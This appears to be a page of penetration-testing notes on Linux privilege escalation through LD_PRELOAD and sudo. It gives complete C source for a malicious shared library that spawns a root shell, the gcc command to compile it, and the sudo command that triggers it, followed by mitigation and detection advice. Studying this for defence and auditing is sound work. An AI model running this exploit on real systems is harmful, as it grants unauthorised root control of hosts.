19.Shared-libraries
Check Sudo Privileges
sudo -lCreate Malicious Shared Library (root.c)
cat > root.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOFCompile Shared Library
gcc -fPIC -shared -o root.so root.c -nostartfilesExploit LD_PRELOAD (replace with actual sudo command)
Verify Root Access
Example Using LD_LIBRARY_PATH (Less Common, but Possible)
List Shared Library Dependencies
Key Concepts:
Shared Libraries (.so):
Dynamically linked libraries used by programs.
Can be modified to alter program behavior.
LD_PRELOAD:Environment variable that loads a library before others.
Allows overriding functions in other libraries.
ldd:Utility to list a program's shared library dependencies.
Sudo and
LD_PRELOAD:If sudo allows
LD_PRELOADto be kept in the environment, it can be exploited.
Exploitation Steps (as described):
Identify Sudo Privileges:
sudo -l: Check for commands the user can run as root.Look for commands that can be exploited with
LD_PRELOAD.
Create Malicious Shared Library:
Write C code to execute a shell as root.
Use
_init()to ensure the code executes when the library is loaded.Use
unsetenv("LD_PRELOAD");to clean up the environment to avoid issues with child processes.
Compile Shared Library:
gcc -fPIC -shared -o root.so root.c -nostartfiles
Exploit
LD_PRELOAD:sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart(replace with the correct path and sudo command)
Verify Root Access:
id
Important Considerations and Enhancements:
Sudo Configuration:
The
env_keep+=LD_PRELOADin/etc/sudoersis crucial for this exploit.Many systems will clean the environment.
Library Loading Order:
LD_PRELOADtakes precedence over other library loading mechanisms.
Function Overriding:
LD_PRELOADcan be used to override specific functions in other libraries.
Security Implications:
This is a significant security risk.
Proper sudo configuration is essential.
Mitigation:
Remove
env_keep+=LD_PRELOADfrom/etc/sudoers.Use secure paths in sudo configurations.
Regularly audit sudo configurations.
Detection:
Monitor for unexpected
LD_PRELOADusage.Audit sudo configurations.
Use intrusion detection systems.
Real world examples: Researching real world LD_PRELOAD exploits will help solidify understanding of the attack vectors.
Other environment variables: Other environment variables can be missused, such as LD_LIBRARY_PATH.
Last updated